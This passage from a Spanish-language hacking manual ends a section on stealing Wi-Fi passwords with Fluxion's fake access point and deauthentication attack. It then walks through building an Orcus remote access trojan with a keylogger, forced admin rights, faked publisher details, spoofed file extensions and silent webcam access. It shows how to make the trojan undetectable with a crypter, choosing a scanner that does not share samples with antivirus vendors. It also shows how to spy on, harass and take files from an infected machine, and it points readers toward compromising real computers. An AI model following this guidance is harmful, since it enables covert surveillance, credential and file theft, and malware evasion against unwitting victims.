 Imagen 13.7: Cierre de Fluxion.

Como se vio en esta demostración, la obtención de passwords de Routers inalámbricos

con seguridad WPA/WPA2/WEP resulto bastante fácil y rápida, sin tener que recurrir a usa la
Fuerza Bruta y que nos tome mucho tiempo o que simplemente no podamos obtenerla por
otras limitantes.
Cabe destacar que el uso de Fake Access Points o Honeypots resulta bastante eficiente
para cumplir propósitos de este tipo, asi como el uso de ingeniería social para persuadir a la
víctima a ingresar a portales falsos, ejemplificando aquí su uso para persuadir a la/las víctimas
a proporcionar contraseñas de redes Wi-Fi con tal de seguir navegando en internet.
EXTRA: Como se mostró a lo largo del ejercicio, se vieron involucradas acciones de ataque
tipo “Denial of service” al montar el Fake AP, esto quiere decir que Fluxion puede hacer un
ataque de tipo “deauth” hacía una red en específico, aunque esta no sea su finalidad, resulta
útil en escenarios como los antes descritos en los ejercicios de “DoS”, y más porque Fluxion
automatiza la mayoría del proceso, solo basta con seguir los pasos anterior hasta la captura
de los Handshakes o hasta la creación del AP Falso si es que queremos ver qué dispositivos
se están expulsando.
Solo bastará con seleccionar la red objetivo y el método de captura de Handshake (método
deauth), siendo “mdk3” el más eficiente:

Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.
 Administración remota mediante
RATs (Troyanos de Acceso
Remoto).
Siendo estos potencialmente peligrosos para muchos sistemas informáticos, los RATs (Remote
Access Trojans) por su traducción al inglés, son piezas de software que nos permiten llevar a
cabo una infección mayormente perjudicial, consiguiendo así acceso no autorizado al ordenador
de la víctima, abriéndonos la puerta para poder realizar tareas de monitoreo (surveillance), robo
de información sensible, como lo son passwords, información personal, tarjetas de crédito, etc.
Los RATs tienen el potencial de recolectar sumas cantidades de información de varios equipos
o personas, por lo que si un equipo ha sido infectado por algún software de este tipo, toda o mucha
información personal que se encuentre dentro de este habrá sido comprometida.
Los RATs también tienen su lugar en el mundo laboral o corporativo, ya sea que eres
administrador o jefe de sistemas, o de algún área en específico y estas a cargo de ciertos equipos
y las políticas del trabajo mencionan que el personal está sujeto a monitoreo constante en horas
laborales, este tipo de herramientas de administración remota pueden ser tu solución, ya que
pueden ser utilizadas para revisión constante de las tareas que se llevan a cabo en el quipo
mientras el personal lo usa.
¿Cómo difieren los RATs de otros troyanos?

La diferencia clave entre keyloggers, troyanos y demás malware de uso local, es que un RAT nos
permite tomar acceso hacia la maquina victima mediante especiales protocolos de
comunicación que son configurados como parte de la infección inicial en el equipo objetivo. Esta
puerta trasera o “Backdoor” permite el acceso sin restricciones dentro del equipo víctima,
consiguiendo así el monitoreo de esta persona o el del equipo, hacer “keyloggin”, explorar
archivos, cambiar configuraciones, hacer uso de la conexión a internet o ancho de banda de este
ordenador para actividades ilícitas, convertir esta máquina en un zombie para hacer un ataque
DDos, y mucho más.

En este capítulo se ejemplificará el uso y funciones de diferentes troyanos de acceso remoto, estos
serán Orcus y Luminosity Link, siendo estos unos de uso recomendable, puesto a que cuentan
con extenso repertorio de funciones para llevar a cabo tareas de post-explotación y que ofrecen
una estabilidad mayor a diferencia de otros RATs o herramientas de administración remota.
Comenzando nuestra aproximación.

Como se mencionó antes los RATs son herramientas diseñadas con la finalidad de ejecutar
acciones específicas vía remota y tener privilegios administrativos superiores, puesto a que
tienen una extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias
esto, este tipo de software es utilizado con fines malintencionados por ello, son catalogados como
malware.
Parte esencial y necesaria al construir nuestro binario (cliente) es la configuración
“Client/Server” (como lo es en todos los RATs), a diferencia de los binarios y demás malware que
operan a nivel local en una red, estos difieren a la configuración de un RAT, el equipo atacante
funcionara como un Servidor y las victimas como Clientes:

Imagen 14.1: Arquitectura de Orcus RAT.

Sabiendo esto, es momento de crear nuestro cliente RAT.

¿Qué necesitarás par este ataque?

 Las 2 máquinas virtuales con Windows 8.1 que se te proporcionaron.

 Orcus Remote Admin Tool.
 Conexión a internet (una buena es recomendable)

Dentro del material proporcionado para el capítulo 2, encontrarás los 2 primeros elementos para
trabajar con esto.
NOTA: Las pruebas documentadas a lo largo de este capítulo se realizaron en un servidor privado
virtual (VPS), mediante el acceso por escritorio remoto, por lo que si deseas alquilar algún VPS
para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo nativo, puedes
hacerlo de esta forma, o puedes trabajarlo desde las máquinas virtuales con Windows
proporcionadas.
Configuración de un RAT.

Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta,
hecho eso abriremos Orcus.

Imagen 14.2 y 14.3: Ubicación de herramienta, panel de Conexión y opción para crear un nuevo servidor.

Al abrirse lo primero que se mostrará será este panel para poder conectarse a un servidor, una
ventaja que tiene Orcus es que a donde lo lleves se conectará al server que fue creado, solo
basta con ingresar la dirección IP, puerto correspondiente y password proporcionados, esto lo
haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto
desde la opción remarcada “Create new server”:

Imagen 14.4: Configuración del servidor

En esta nueva ventana ingresaremos la dirección IP correspondiente, en este caso hablamos del
equipo Windows que está en uso, otra ventaja de Orcus es que te permite crear un servidor con
las direcciones IP que requieras, en este caso solo usaremos una, también asignaremos un
puerto que se encuentre abierto en el equipo, uno común es el 80, que es donde corre el servicio
HTTP, aunque puedes escoger otro puerto (abierto).
Al tener los datos necesarios pulsaremos “ADD” para agregarlos a la lista del Server, es
importante esto, ya que sin ello el server creado no tendrá utilidad alguna, terminado eso,
ingresaremos un password, este password servirá como factor de autenticación para iniciar
nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, será
necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de
Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz gráfica (GUI) de Orcus, con
esto último listo, crearemos el Server con “BUILD”, al hacerlo nos preguntará en donde vamos a
guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio
nombrada ”server”, que será donde la guardaremos, hecho esto, abrimos el archivo
“Orcus.server”:

Imagen 14.5 y 14.6: Selección de interfaz para configuración y generación de archivo de configuración para el server.

Al hacerlo se mostrarán datos relevantes a la configuración que establecimos previamente, como

lo es la dirección IP, puerto asignado y password, también vemos 2 recuadros, uno nos muestra
un breve resumen o “Summary” acerca de la actividad llevada a cabo hasta ahora en el server,
en donde nos indica que el Listener ha comenzado en él, también tenemos otro recuadro en donde
nos indica el “Status” del server, como lo es el número de admins, de clientes conectados y si está
en función.

Imagen 14.7: Adición del listener y password.

Los Servers son creados en la maquina atacante/administradora, el código de este server
trabajará en conjunto con el código del cliente, interpretando a un socket, estos binarios (clientes)
se distribuyen a distintas maquinas o a un solo objetivo, una vez estando ahí y ejecutados, estos
establecerán una conexión hacia el servidor (atacante/administrador) y estarán a la espera de
comandos y acciones por ejecutar.
El lado de server (administrador) nos provee de una interfaz gráfica para trabajar con todas las
conexiones establecidas o provenientes (Clientes/Víctimas), otorgando control suficiente sobre
el sistema y la capacidad ejecutar numerosas tareas, para esto, tendremos que ingresar a la
plataforma de trabajo de Orcus, esto se hace desde el primer panel que se mostró, en donde
ingresaremos la dirección IP y password que se configuraron durante la creación del server:

Imagen 14.8 y 14.9: Conexión a servidor y panel de administración con opción “Build”.

Estando en la plataforma, a simple vista podremos notar que este software cuenta con múltiples
funciones, pero en realidad tiene más de lo que puedes imaginar y explicar todas y cada una de
estas, así como todo el funcionamiento y modo de uso del RAT tomaría un libro completo, por lo
que veremos las acciones más importantes. Para poder crear nuestro cliente (binario/troyano)
usaremos la opción “Build” que la parte superior izqda. de la ventana.
Dentro nos toparemos con una serie de pasos/protocolos de creación para este binario, siendo
el primero la configuración general (General Settings), en donde se especifica el grupo
identificador de clientes (Tag), el “Mutex” que es para establecer que una sola instancia del cliente
corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger,
es recomendable dejarlo habilitado, y los privilegios, habilitar esta opción hace que al momento
de la ejecución del binario se adquieran privilegios administrativos:
 Imagen 15.0: Configuraciones generales.

El segundo paso será establecer los parámetros de configuración de la conexión, en esta parte
solo añadiremos la dirección IP y puerto previamente asignados al servidor (Nosotros), para
establecerlos solo presionamos en “ADD”, es importante hacerlo, de lo contrario no servirá nuestro
troyano:

Imagen 15.1: Configuración en el apartado de Conexión.

El tercer paso es configurar las “medidas de protección” para el binario a crear, en esta nueva
ventana tendremos múltiples parámetros opcionales en donde podrás personalizar estos
parámetros a tu gusto, de las 3 opciones solo estarán las 2 primeras habilitadas por default en
este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una
máquina virtual. Por lo que solo utilizaremos la segunda opción, para hacer que una técnica
Anti-Debugging acompañe al binario:

Imagen 15.2: Configuración d medidas de protección para el binario.

El paso numero 4 será configurar la instalación del cliente (binario), aquí nos proveen de
múltiples opciones de configuración, como lo es el lugar/directorio raíz donde residirá el
cliente/troyano, si queremos ocultarlo de ahí, cambiar la fecha de creación de este, forzar la
obtención de privilegios administrativos al momento de la instalación, el auto-inicio del mismo
y el nombre con el que se identificará:
 Imagen 15.3: Apartado de instalación.

El quinto paso (Opcional) será añadir información del ensamblaje o producción del software, aquí
podemos añadir información adicional a nuestro binario, como es el nombre, compañía,
producto, versión de este, copyright y demás detalles que lo pueden hacer lucir como una pieza
de software legítimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario
habilitar la opción “Change Assembly Information”, o si se tiene esta información lista en un
archivo, solo se carga desde la opción “LOAD FROM FILE”:

Imagen 15.4: Apartado para información de ensamblaje.

El paso numero 6 será la adición de “Plugins”, estos nos sirven para agregar funciones extra con
el fin de proporcionar cierto apoyo a las tareas de post-explotación/monitoreo, como lo es en
este caso el no encender la luz de la Webcam al momento de acceder a esta.
NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no
puede funcionar en otros, sin embargo no está de más tomarlo en cuenta:

Imagen 15.5: Plugin Seleccionado.

El séptimo y último paso es generar el viario mediante el “Builder” parchar o corregir errores que
ocurren durante la compilación de nuestro binario, como lo son bugs en el código, visualizaciones
no deseadas del source-code, etc. Para esto, hay apartado de “Patches” para instalar al en el
binario, para lo anterior seleccionaremos la opción “Orcus Patcher” y para esconder la extensión
del binario ejecutable usaremos “Extension Spoofer”.
Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opción “Change
Icon”.

IMPORTANTE: La selección del Framework objetivo es crucial para el éxito de la explotación de

la víctima, ya que en base al framework escogido mayores posibilidades de lograr el éxito/infección
conseguiremos. El compilador o “Builder” de Orcus puede construir el binario en los 3 tipos de
.NET Framework, 3.5, 4.0, 4.5 por ello tendremos que escoger alguno, en este caso se escogió el
3.5:

Imagen 15.6 y 15.7: Últimos detalles y selección de Framework de .NET

Teniendo seleccionado el Framework de .NET, mediante la opción “BUILD” haremos la

compilación del troyano y lo guardaremos con el nombre y en el lugar de nuestra preferencia.
Familiarizándonos con un Crypter.
Como es de esperarse, este binario saldrá con una forma común y simple, con la diferencia de que
se le agregó algo de información de ensamblaje mediante Orcus pero hasta ahí, no tiene icono, no se
le ha hecho con ningún “Modding” para ofuscar los patrones o bloques del código con el fin de
conseguir la evasión de sistemas de seguridad o antivirus (Fudding).

Lo que significa que la forma de conseguir la infección con este ejecutable es que nosotros mismos lo
hagamos llegar al equipo víctima, desactivar protecciones, y ejecutarlo, o convencer a una persona
bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habrá
que saber que tan amenazante resulta este binario .

Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante útiles al
momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple,
en esta plataforma se hospedan múltiples computadoras cargadas con los diferente software de
protección (antivirus), en donde al momento de cargar nuestra muestra de software/malware será
analizado por todos estos antivirus (35), al terminar este proceso se mostrará un resumen de los
resultados indicando detalles como el índice de detección, MD5 y los antivirus que encontraron esta
muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de
NoDistribute, visitando https://nodistribute.com/. Con formato: Fuente de párrafo predeter., Fuente:
(Predeterminada) +Cuerpo (Calibri), 10 pto, (Asiático)
IMPORTANTE 1: NoDistribute (como su nombre lo indica) no distribuye las muestras enviadas ni Japonés
tampoco los resultados obtenidos, ya que es común que otras plataformas como
https://www.virustotal.com/ distribuyan estos resultados a las casas antivirus, lo que resulta perjudicial Con formato: Fuente de párrafo predeter., Fuente:
para nosotros porque así estas tendrán en sus bases de datos el código que compone a este software, (Predeterminada) +Cuerpo (Calibri), 10 pto, (Asiático)
Japonés
por lo que costará más trabajo lograr la evasión de antivirus (FUD) para nuestro malware, por lo que
es altamente recomendable utilizar solamente esta plataforma.

Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados
aparecerán mostrando los detalles anteriormente mencionados:

Imagen 15.8: Resultados de plataforma de escaneo.

Podemos notar que 17 de los 35 antivirus operando en la plataforma categorizaron nuestro

software como malware, lo que quiere decir que casi el 50% de estos lo detectó y está muy lejos
de pasar desapercibido en muchos equipos convencionales/profesionales y va a requerir algunos
cambios en su arquitectura.
IMPORTANTE 2: Estos resultados que se muestran son los que se consiguieron a la fecha
en la que se redactó este libro, por lo que en un futuro pueden cambiar, o mientras estás leyendo
esto estén cambiando notable o drásticamente estos resultados. Cabe mencionar que no porque
nosotros utilicemos esta plataforma para analizar nuestras muestras de malware quiere decir que
no exista la posibilidad de que el código no llegará a las BD de las casas antivirus, ya sea porque
alguien más lo está distribuyendo, lo estudiaron en los laboratorios o mil razones por las que lo
tengan, hará que nuestro índice de detección aumente (Aún con Fudding).

Lo que quiere decir que el método de evasión de todos o ciertos antivirus ya no es funcional, por
lo que habrá que encontrar otra forma de lograrlo, la solución más común para esto es comprar
un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo
tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en
cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchísimo cuidado y
ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante
PayPal, Bitcoin o algún otro método de pago.
Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un “Crypter”,
existen muchos de estos, unos más completos/complejos que otros, sin embargo todos tienen una
finalidad u objetivo en común; conseguir cifrar archivos o tratar de hacer FUD (Full
Undetectable) algún, bloque de código, script, binario o ejecutable con el fin de conseguir la
evasión de sistemas de protección informáticos, esto puede conseguirse mediante diferentes
técnicas, ya sea mediante la ofuscación del código y sus componentes del binario, mediante
alguna técnica Anti-Debugging, entre otras.
En este ejemplo utilizaremos un Crypter llamado “Masked Crypter”, este viene dentro del material
proporcionado para este capítulo y será nuestra herramienta para brindarle a nuestro binario las
características ya mencionadas, abrirás la aplicación y seguirás los siguientes pasos:
 Dentro de Masked Crypter, habrá 3 campos importantes; el que hará el Browsing del archivo a
realizar “Modding”, otro que hará Browsing de un icono para este, ya que es obligatorio y otro
que es un generador de caracteres aleatorios proporcionando así un “Mutex”, puede generar
cuantos quieras y escoger solo uno. En cada campo haremos la acción correspondiente.

 Del lado derecho nos encontramos con un pequeño panel de opciones para realizar el Modding
con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opción.

 De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro “pop-
up” que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relación
de compresión y ofrece una descompresión muy rápida, asi el binario no sufrirá ninguna
sobrecarga de memoria u otros inconvenientes, además de que ayuda a ofuscar el código,
y .NET Support nos proporciona ciertos bloques de código para conseguir compatibilidad
con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo
con las características anteriores, obvio podrás cambiarle el nombre con posterioridad:
 Imagen 15.9: Configuración de crypter para el binario.

 Terminado lo anterior enviáremos este nuevo binario a la plataforma de escaneo de

https://nodistribute.com/ en donde se obtuvieron los siguientes resultados, en donde ahora solo
5 de 35 antivirus encontró perjudicial a nuestro nuevo binario, ahora solo el 15% de toda la
plataforma lo cataloga como malware, fue un resultado mucho mejor:

Imagen 16.0: Resultados arrojados ahora con Crypting.

Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar
de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando
un ambiente controlado en esta prueba, por lo que solo se transferirá el binario y se ejecutará
manualmente.

NOTA: Para esto hay múltiples y diversas formas de infección, ya sea mediante correo electrónico,
“binders”, ingeniería social, entre otras, por lo que estará a tu elección el vector de infección por el que
en un futuro logres conseguir comprometer algún equipo real.
Teniendo el binario en el equipo víctima se ejecutará, y a simple vista no ocurrirá nada, solo un ligero
resalte en el brillo del ícono de binario al momento de correrlo.

Mientras que en la maquina atacante/administradora, de lado de Orcus en el panel principal de la

plataforma de trabajo, habremos encontrado un nuevo “Slave” (victima/cliente), así como también
notaremos esta actividad en la ventana de “Orcus. Server”, mostrando los detalles de la conexión de
este nuevo cliente:

Imagen 16.1: Cliente registrado gracias a la ejecución.

En el panel principal de Orcus también se está indicando todo esto es en la barra de monitoreo; la
conexión establecida en Orcus y la conexión encontrada de un nuevo cliente (victima).

Debajo de ella encontráremos detalles de esta acción como lo es la hora, sistema operativo,
Username (nombre con el que se identifica el Host), sistema operativo y país si es posible obtener
este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su selección y
entrar mediante “Log In”, al hacerlo notáremos más actividad en la barra de monitoreo:

Imagen 16.2 y 16.3: Nuevo cliente y sus detalles en lista de Esclavos.

Usage del RAT y monitoreo de un cliente/robo de información de una víctima.

Una vez accedido al equipo mediante esta función, entraremos al panel de trabajo del cliente en
Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo
en/sobre este cliente, puesto a que hay muchísimas de estas funciones, habría que escribir uno o
dos capítulos sobre el total uso de ellas, por ello, solo veremos las más interesantes.
Lo primero qué notáremos será la categoría “CLIENT”, situándonos en el sub-panel “Control”
donde encontráremos detalles más específicos sobre el S.O del cliente, como lo es la version del
Framework de .NET, tiempo activo desde la primera vez comprometido, directorio raíz del
troyano, además de la opciones de desinstalar el troyano o solo matar esta conexión, etc:

Imagen 16.4: Detalles del sistema infectado.

Dentro del sub-panel “Config” nos toparemos con la configuración que reside en el cliente, está
no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la
de nuestro binario/cliente, presentándonos un resumen o “Summary” acerca de las características
de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:

Imagen 16.5, 16.6 y 16.7: Configuración a detalle del sistema infec.

Un último detalle acerca de esta primera categoría es el sub-panel de plugins este solo muestra
el o los plugins que fueron seleccionados durante la creación del binario y por ende, los que
quedaron instalados en el lado cliente, en este caso mostrando el de “Anti-Debugging”:

Imagen 16.8: Plugin que contiene el binario.

Pasando a otra categoría, “Information” nos permite saber detalles más precisos sobre el uso de
esté equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de
passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El “Summary” de las
conexiones activas puede resultar muy útil si se piensa llevar una bitácora o si se desea revisar
ciertos parámetros aquí encontráremos esta información, indicando el proceso, las direcciones
locales y remotas sobre las que se establezca esta conexión, el protocolo y el estatus de esta, y
por su puesto los datos de esta acción en la barra de monitoreo:

Imagen 16.9 y 17.0: Conexiones activa, proceso y demás detalles sobre esto en el equipo ajeno.

Cambiando a la función siguiente, desde el sub-panel “Computer” podemos saber detalles más
específicos acerca de los componentes de este equipo cliente, mostrando Hardware, info acerca
del sistema, OS, BIOS, particiones o HDD, entre lo más interesante nos encontramos con cosas
como el “Owner” (email que se usa para la cuenta Windows) y detalles acerca del disco duro:
 Imagen 17.1 – 17.6: Información muy detallada acerca del equipo infectado.

Por otro lado tenemos la función “Performance” dentro podemos hallar info acerca del rendimiento
del equipo, como lo es el % del uso del procesador mostrando un gráfico de ello, modelo y
velocidad del procesador número de hilos o “Threads”, procesos que corren actualmente, tiempo
activo y demás.
Muchas funciones de los “sub-paneles” habrá que habilitarlas mediante el switch Azul del lado
derecho, de lo contrario no podrás hacer uso de ellas:

Imagen 17.7: Monitoreo del rendimiento del equipo infectado.

Dejando un poco atrás los detalles sobre el cliente, pasemos a algo más interesante y entretenido,
como es de esperarse, herramientas como los RATs puede hacer un sinfín de cosas, sin embargo,
no está de más mencionar que hay unos que están mucho más completos que otros por
cualquier lado que los veamos, y Orcus no es la excepción aquí.
Dentro de las categorías de funciones nos topamos con “Fun” (diversión), esta cuenta con
funciones que se llevan el título como su categoría lo indica, aquí es donde podemos tomar
acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en
casos reales de monitoreo y espionaje.

Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta función, y
Orcus la trae consigo, abriremos con la función que nos permite enviar/reproducir un dictado
con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear
el texto a dictar, seleccionar la voz, velocidad de reproducción y volumen y enviarlo con “SEND”.
Comúnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en
un lugar de trabajo el administrador lo usa para dar avisos o notificaciones más a detalle o
personales al usuario/cliente.

Imagen 17.8 y 17.9: Función de Texto dictado sobre equipo infectado.

Otra función con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente)
cuenta con una más completa que los demás, en donde lejos de enviar un simple recuadro para
transferir mensajes, te ofrece muchas más funciones para poder trabajar sobre ello.

Entre ellas esta el poder colocar el título de la ventana, el nombre o nickname (tuyo), evitar que se
cierre, maximizarla permanentemente y minimizar las demás ventanas cuando aparezca este Chat
Box, para poder usar esta función deberás habilitar esta función con el “Switch Azul” del lado
derecho, en la siguiente página encontrarás su modo de uso, consulta las imágenes:

Imagen 18.0 y 18.1: Función de Chat entre Cliente/Servidor.

Aun estando en la categoría “Fun”, pasáremos al sub-panel “Common” en donde nos topáremos
con más funciones que trae consigo Orcus, en este sub-panel podremos involucrar
directamente nuestras acciones con las aplicaciones del equipo, como lo es el navegador
web predeterminado, además de poder cambiar el wallpaper de la pantalla tan solo con
proporcionar el URL de una imagen, apagar el monitor, conseguir el Crashing del sistema,
mostrando el “Pantallazo Azul” o congelar el sistema mediante la sobrecarga de procesos: .

En este primer ejemplo se demostrará el abrir de un sitio web en específico y el número de

ventanas con el que se repetirá esto, solo basta con escribir el URL, indicar el número de ventanas
que quieras y lanzarlo mediante “DO IT!”. Al hacerlo se llevará a cabo lo antes descrito en el
equipo cliente/victima, cada vez que se ejecute una acción ya sea que falle o no, se mostrará la
actividad en la bitácora de la barra de monitoreo.

Imagen 18.2 – 18.4: Funciones de categoría “Común” y sitio web abierto por indicación remota.

También se puede podemos crear “Reminders” (Notas), con un texto en específico, lo que hará
esto simplemente será abrir un bloc de notas con el texto enviado, solo basta con escribirlo y
enviarlo con “Send”. Una función más en la categoría “User Interaction” es que podemos crear
notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta,
etc, obviamente con el título y texto que queramos poner durante el tiempo establecido en
milisegundos, en este caso 10,000:
 Imagen 18.5 – 18.7: Función de Globo de aviso y acción guardada en el Log.

Otras funciones útiles en casos en los que el administrador/atacante no tenga nada que hacer son las
siguientes, de las cuales se puede sacar fácilmente de quicio a alguien, la primer función (Rotate
Monitor) es bastante simple, cambia la posición del monitor en los grados disponibles, el detalle es
que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del
sistema nativo al virtual, como lo es la tarjeta de gráficos, en cambio sí se intenta en un equipo real,
funcionará a la perfección.

En cambio, “Pure Evilness”, nos da un poco más de diversión sin mayor problema, aquí nos
encontramos con 2 botones, “LET IT BURN” y “WATER, WATER!”, la primera hace que esto comience
y la otra lo detiene, solo lo detiene, no lo repara.

Veamos que sucede en el equipo cliente luego de esto:

Imagen 18.8 y 18.9: Opciones de uso y Función de ataque “Pura Maldad”.

  Si queremos detener lo que iniciamos habrá que “vaciarle agua” a esto, lo detenemos con
“WATER, WATER!”

Imagen 19.0 – 19.2: “Corrección” de acción de ataque “Pure Evilnes”

¿Qué es lo que ha pasado? Lo que hace esta divertida pero desquiciante función es, tomar un
Screenshot del Desktop, rotar la imagen 180° y establecerlo como wallpaper, luego esconder la
barra de tareas e íconos, así el usuario creerá que la barra de arriba es funcional, pero en realidad
es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de
detener esto aparecerá la barra de nuevo y se colocará en su lugar, con el detalle que el escritorio
esta hecho un asco.
De las funciones vistas hasta ahora en la categoría “Fun”, en lo personal mi preferida es esta, así
que pasemos a algo más divertido (y puede que muy perjudicial/peligroso).
El uso del Screamer, es una “divertida” función hace que en milisegundos se bloqueé el equipo y
en pantalla completa aparezca una animación con gritos de fondo y a un volumen demasiado alto
en donde se muestra un rostro algo bizarro y la única forma de detenerlo es con la combinación
simultánea de teclas “Ctrl + Shift + V”.

Esto puede resultar en algo grave asi que te recomiendo al menos ser selectivo con quienes la
usas/usarás, además de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu
propia responsabilidad:
 Imagen 19.3, 19.4 y 19.5: Inicio, función y detención de Screamer.

Otras funciones que se pueden llevar a cabo dentro de esta misma categoría son las que pueden
hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el
administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio.
También hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado
y mouse, haciendo que este se mueva de forma errática o se bloqueé por N segundos, o cambiar
el “input” del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede
mostrar de forma adecuada con imágenes, en cambio, si estas acciones se llevan a cabo con
éxito, se mostraran en la barra de monitoreo:
 Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.

Como se demostró en los ejemplos anteriores, la categoría “Fun” de Orcus cuenta con una vasta
diversidad de útiles funciones y características “Divertidas” que hacen que se ejerzan con
facilidad múltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de diálogo,
avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o
Congelarlo (HANG), dejándolo inhábil temporalmente, todo desde una solo plataforma de
trabajo (Como también lo será en las otras categorías)

Dejando atrás la parte de juegos, pasaremos a una categoría más funcional y útil para nuestro
propósito, que es el ejercer control sobre el equipo cliente, aquí es cuando pasamos a la categoría
“SYSTEM”.
Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecución remota de código
(muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos
con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar
más a fondo con los programas existentes en el equipo víctima y muchas otras cosas, y por ello,
antes de continuar con otra categoría, habrá trabajo por hacer aquí.
La segunda función que encontraremos aquí es la de “Console”, no hace falta una larga
explicación sobre esta, ya que solo nos proporciona una terminal de comandos “CMD” sobre
el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras,
en este ejemplo se ejecutó el comando “dir”:

Imagen 19.8: Función de la consola (CMD) sobre el quipo ajeno.

Una función más aquí es la de poder consultar/ver el “Event Log” del equipo cliente.

¿Qué es y para qué nos sirve esto?

En “Event Log” es básicamente un libro de registros que puede ser analizado con fines de obtener
un nivel superior de inteligencia (información) en la red, como pueden ser sucesos en
aplicaciones, errores en estas, procesos, y más detalles a fondo sobre estos registros.
En redes o “networking” una forma de apoyo para poder proveer información detallada sobre
ciertos registros, parámetros o “Usage” en la red o equipo es el “Event Log”. Este almacena los
datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por
administradores de sistemas, sistemas de seguridad o por profesionales en seguridad.

Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad
y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos
(como el que veremos).
Si eres administrador de sistemas o estas a cargo de un grupo de trabajo, con herramientas de
este tipo podrás ver un panorama más extenso de lo que ocurre en la red… o en un equipo
cliente. En Orcus solo basta con seleccionar esta opción y automáticamente hará el “Fetching” o
recolección de estos registros, arrojándolos a la tabla qué se muestra y enviando esta acción a la
barra de monitoreo. Consulta las imágenes.

Imagen 19.9: Registro de eventos del equipo ajeno.

Entre las funciones de esta categoría nos topamos con una que resulta altamente útil y que todos
en algún momento hemos buscado o querido usar en un cierto modo, así es como le damos la
entrada el explorador de archivos en Orcus, siendo este diferente a los de otros RATs, luce y es
más funcional que otros puesto a que resulta más estable tanto en la exploración de directorios
como son las descargas y cargas de archivos.
Para esto solo basta con abrir el sub-panel “File Explorer”, seleccionar la partición o disco
correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si
se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar
una acción sobre él, en este caso será la descarga de un directorio, mostrando una columna del
“status” y progreso de la o las descargas que se estén llevando a cabo, al terminar estas, en el
directorio raíz de Orcus se creará una carpeta nombrada “Downloads”. Consulta las imágenes:

Imagen 20.0, 20.1 y 20.2: Búsqueda y descarga de archivos ajenos del equipo infectado.

Algo más a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente
a realizar una descarga en específico, desde una imagen hasta algún archivo más perjudicial,
esto se puede llevar a cabo desde el sub-panel “Internet”, en donde podemos ingresar una URL
determinada y realizar esta descarga, además de que podemos hacerlo en masa o
simultáneamente:

Imagen 20.3: Funciones para interactuar con internet.

Pasando a otra función que puede llevar a cabo tareas de carácter administrativo como algunas
que se han visto hasta ahora, en el sub-panel “Programs” nos encontraremos con algo similar,
esta función nos permite ver el listado de programas instalados exclusivamente por el cliente, como
puede ser software de trabajo, navegadores web u otras aplicaciones comunes indicando detalles
como la versión, llave correspondiente al “Registry” y directorio en donde reside la instalación de
este software.
Al abrir esta función tendremos que hacerle un “Refresh” al sub-panel para que enumere y
describa en una lista el software adicional encontrado, del cual podemos hacer cambios, como lo
es la desinstalación, solo basta con seleccionar el programa que buscamos y realizar la tarea
correspondiente:

Imagen 20.4: Listado de programas en equipo ajeno.

